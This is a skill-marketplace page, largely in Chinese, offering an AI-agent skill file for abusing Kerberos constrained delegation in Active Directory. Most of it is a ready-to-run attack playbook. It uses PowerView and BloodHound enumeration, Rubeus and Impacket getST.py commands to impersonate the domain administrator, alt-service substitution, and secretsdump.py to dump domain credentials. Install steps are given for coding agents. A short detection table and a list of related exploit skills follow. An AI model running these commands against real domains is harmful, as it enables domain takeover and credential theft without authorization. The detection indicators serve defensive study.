exploiting-constrained-delegation-abuse
利用活动目录中的 Kerberos 约束委派(Constrained Delegation)错误配置,通过 S4U2self 和 S4U2proxy 扩展模拟特权用户,实现横向移动和权限提升。
Best use case
exploiting-constrained-delegation-abuse is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
利用活动目录中的 Kerberos 约束委派(Constrained Delegation)错误配置,通过 S4U2self 和 S4U2proxy 扩展模拟特权用户,实现横向移动和权限提升。
Teams using exploiting-constrained-delegation-abuse should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-constrained-delegation-abuse/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-constrained-delegation-abuse Compares
| Feature / Agent | exploiting-constrained-delegation-abuse | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
利用活动目录中的 Kerberos 约束委派(Constrained Delegation)错误配置,通过 S4U2self 和 S4U2proxy 扩展模拟特权用户,实现横向移动和权限提升。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 利用约束委派滥用漏洞
## 概述
Kerberos 约束委派(KCD)是一种 Windows 活动目录功能,允许服务模拟用户并代表其访问特定服务。委派目标在 `msDS-AllowedToDelegateTo` 属性中定义。当攻击者控制了配置了约束委派(特别是带有 `TRUSTED_TO_AUTH_FOR_DELEGATION` 标志)的账户时,他们可以使用 S4U2self 和 S4U2proxy Kerberos 协议扩展来以任何用户(包括域管理员)身份请求到委派服务的服务票据。如果委派目标包括域控制器上的 CIFS、HTTP 或 LDAP 等服务,则会导致完整的域入侵。S4U2self 扩展代表任何用户向被控服务请求可转发的票据,S4U2proxy 将该票据转发到允许的委派目标。
## 目标
- 枚举域中配置了约束委派的账户
- 识别高价值服务的委派目标(msDS-AllowedToDelegateTo)
- 利用 S4U2self 和 S4U2proxy 模拟域管理员
- 以特权用户身份获取委派服务的服务票据
- 访问目标主机上的委派服务(CIFS、LDAP、HTTP)
- 通过约束委派滥用提升至域管理员
## MITRE ATT&CK 映射
- **T1558.003** - 窃取或伪造 Kerberos 票据:Kerberoasting
- **T1550.003** - 使用替代认证材料:票据传递
- **T1134.001** - 访问令牌操控:令牌模拟/盗窃
- **T1078.002** - 有效账户:域账户
- **T1021** - 远程服务
## 实施步骤
### 阶段一:枚举约束委派
1. 使用 PowerView 查找具有约束委派的账户:
```powershell
# 查找具有约束委派的用户
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# 查找具有约束委派的计算机
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# 使用 AD 模块
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
```
2. 使用 Impacket findDelegation.py:
```bash
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
```
3. 使用 BloodHound CE:
```cypher
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
```
4. 检查 TRUSTED_TO_AUTH_FOR_DELEGATION 标志(协议转换):
```powershell
# UserAccountControl 标志 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
```
### 阶段二:使用 Rubeus 利用(Windows)
1. 如果您拥有约束委派账户的密码或哈希:
```powershell
# 为约束委派账户请求 TGT
Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
# 执行 S4U2self + S4U2proxy 以模拟 administrator
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /ptt
# 替代方案:指定替代服务名称
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
```
2. 在单个命令中组合 TGT 请求和 S4U:
```powershell
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
```
### 阶段三:使用 Impacket 利用(Linux)
1. 通过 S4U 协议扩展请求服务票据:
```bash
# 使用 getST.py 和 S4U
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
# 使用哈希代替密码
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
-dc-ip 10.10.10.1 domain.local/svc_sql
# 使用获得的票据
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
```
### 阶段四:替代服务名称滥用
1. Kerberos 服务票据不针对票据中的 SPN 进行验证,允许 SPN 替换:
```bash
# 请求 CIFS 票据,然后用于 LDAP(DCSync)
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-altservice LDAP/DC01.domain.local \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
```
2. 该技术之所以有效,是因为票据中的服务名称不与会话密钥进行密码学绑定
### 阶段五:协议转换攻击
1. 如果账户具有 TRUSTED_TO_AUTH_FOR_DELEGATION:
```bash
# S4U2self 无需用户认证即可获取可转发的票据
# 这意味着我们可以在不知道用户密码的情况下模拟任何用户
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
```
2. 没有 TRUSTED_TO_AUTH_FOR_DELEGATION 时,S4U2self 票据不可转发,S4U2proxy 将失败(除非使用基于资源的约束委派)
## 工具与资源
| 工具 | 用途 | 平台 |
|------|---------|----------|
| Rubeus | S4U Kerberos 票据操控 | Windows(.NET) |
| getST.py | S4U 服务票据请求(Impacket) | Linux(Python) |
| findDelegation.py | 委派枚举(Impacket) | Linux(Python) |
| PowerView | AD 委派枚举 | Windows(PowerShell) |
| BloodHound CE | 可视化委派路径分析 | Docker |
| Kekeo | 高级 Kerberos 工具包 | Windows |
## 委派类型对比
| 类型 | 属性 | 范围 | 攻击复杂性 |
|------|-----------|-------|-------------------|
| 非约束委派 | TRUSTED_FOR_DELEGATION | 任意服务 | 低(捕获 TGT) |
| 约束委派 | msDS-AllowedToDelegateTo | 特定 SPN | 中(S4U 滥用) |
| 约束委派 + 协议转换 | + TRUSTED_TO_AUTH_FOR_DELEGATION | 特定 SPN | 中(不需要用户认证) |
| 基于资源的约束委派(RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | 在目标上 | 中(可写属性) |
## 检测特征
| 指标 | 检测方法 |
|-----------|-----------------|
| S4U2self 票据请求 | 带异常服务和模拟的事件 4769 |
| S4U2proxy 转发的票据 | 带委派标志的事件 4769 |
| 票据中的替代服务名称 | 请求的 SPN 与实际服务访问之间的不匹配 |
| Rubeus.exe 执行 | EDR 进程检测、命令行日志 |
| 委派配置更改 | msDS-AllowedToDelegateTo 修改的事件 5136 |
## 验证标准
- [ ] 已枚举具有约束委派的账户
- [ ] 已识别委派目标(msDS-AllowedToDelegateTo)
- [ ] 已获取目标用户的 S4U2self 票据
- [ ] 已将 S4U2proxy 票据转发到委派目标
- [ ] 已验证对委派服务的特权访问
- [ ] 已测试替代服务名称替换
- [ ] 已评估协议转换能力
- [ ] 已记录包含票据导出和访问证明的证据Related Skills
implementing-api-abuse-detection-with-rate-limiting
使用令牌桶、滑动窗口和自适应速率限制算法实现API滥用检测,防止DDoS、暴力破解和凭据填充攻击。
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
exploiting-websocket-vulnerabilities
在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。
exploiting-vulnerabilities-with-metasploit-framework
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
exploiting-type-juggling-vulnerabilities
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
exploiting-template-injection-vulnerabilities
检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。
exploiting-sql-injection-with-sqlmap
在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。
exploiting-sql-injection-vulnerabilities
在授权渗透测试中,使用手动技术和 sqlmap 等自动化工具识别并利用 Web 应用程序中的 SQL 注入漏洞。测试人员通过基于错误、基于联合、布尔盲注和时间盲注技术,在所有主要数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle)中检测注入点,以演示数据提取、认证绕过和潜在的远程代码执行。
exploiting-smb-vulnerabilities-with-metasploit
在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。
exploiting-server-side-request-forgery
在授权渗透测试中识别并利用 SSRF 漏洞,访问内部服务、云元数据及受限网络资源。
exploiting-race-condition-vulnerabilities
使用 Turbo Intruder 的单包攻击技术检测并利用 Web 应用程序中的竞态条件漏洞,绕过速率限制、重复交易以及利用检查时间与使用时间(TOCTOU)缺陷。
exploiting-prototype-pollution-in-javascript
检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞,通过属性注入实现 XSS、RCE 和身份验证绕过。